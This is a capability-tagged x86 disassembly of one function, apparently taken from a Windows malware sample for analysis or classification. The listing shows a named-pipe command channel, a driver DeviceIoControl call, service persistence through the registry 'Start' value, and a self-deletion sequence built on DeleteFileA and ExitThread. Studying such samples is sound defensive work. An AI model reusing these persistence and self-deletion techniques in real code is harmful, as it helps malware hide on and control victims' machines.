Function at 0x403650
Capabilities:
Connect pipe
Create pipe
Delete registry key
Persist via windows service
Read file on windows
Set registry value

Disassembly:
mov word [esp], 0x4bca
dec al
pushal
call fcn.00402181
push ebp
mov ebp, esp
sub esp, 0x424
or dword [ebp - 0x418], 0xffffffff
or dword [ebp - 0x41c], 0xffffffff
and dword [ebp - 0x424], 0
and dword [ebp - 0x414], 0
and dword [ebp - 0x420], 0
movsx eax, byte [0x40fbb4]
cmp eax, 0xffffffb1
jne 0x403699
push 0x8f
push 0x30
push 0x40fbb4
call fcn.004023d0
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push 0x40fbb4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x41c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0xe7
jne 0x4036dd
jmp 0x4037e3
cmp dword [ebp - 0x420], 0
jne 0x4036fc
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4037e3
push 0
push 0
push 0x100
push 0x100
push 1
push 6
push 3
push 0x40fbb4
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x418], eax
xor eax, eax
inc eax
je 0x4037e3
push 0
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
lea eax, [ebp - 0x414]
push eax
push 0x10
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x410]
push eax
call fcn.004035e0
mov dword [ebp - 0x424], eax
mov eax, dword [0x4122fc]
movzx eax, word [eax]
cmp dword [ebp - 0x424], eax
jbe 0x403796
push 0
lea eax, [ebp - 0x414]
push eax
push 0x40
push 0x412940
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4037bb
and dword [ebp - 0x424], 0
push 0
lea eax, [ebp - 0x414]
push eax
push 4
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x418]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp dword [ebp - 0x424], 0
je 0x4037de
jmp 0x4037e3
jmp 0x403721
cmp dword [0x40fbb0], 0xffffffff
je 0x40380e
push 0
lea eax, [ebp - 0x414]
push eax
push 0
push 0
push 0
push 0
push 0x222440
push dword [0x40fbb0]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x412900
push dword [0x40fba8]
push 0x40c3c4
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x412940
push 0x412900
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403856
lea eax, [ebp - 0x400]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
jmp 0x403882
mov dword [ebp - 0x414], 3
push 4
lea eax, [ebp - 0x414]
push eax
push 4
push str.Start
lea eax, [ebp - 0x400]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
cmp dword [0x413114], 0
je 0x4038a8
push dword [0x413114]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
push dword [0x413110]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.004034b7
cmp dword [0x4130c0], 0
je 0x4038c9
push 0x8000
push 0
push dword [0x4130c0]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0
lea eax, [0x4127f8]
push eax
push dword [sym.imp.KERNEL32.dll_ExitThread]
push dword [ebp - 0x418]
push dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [sym.imp.KERNEL32.dll_CloseHandle]
ret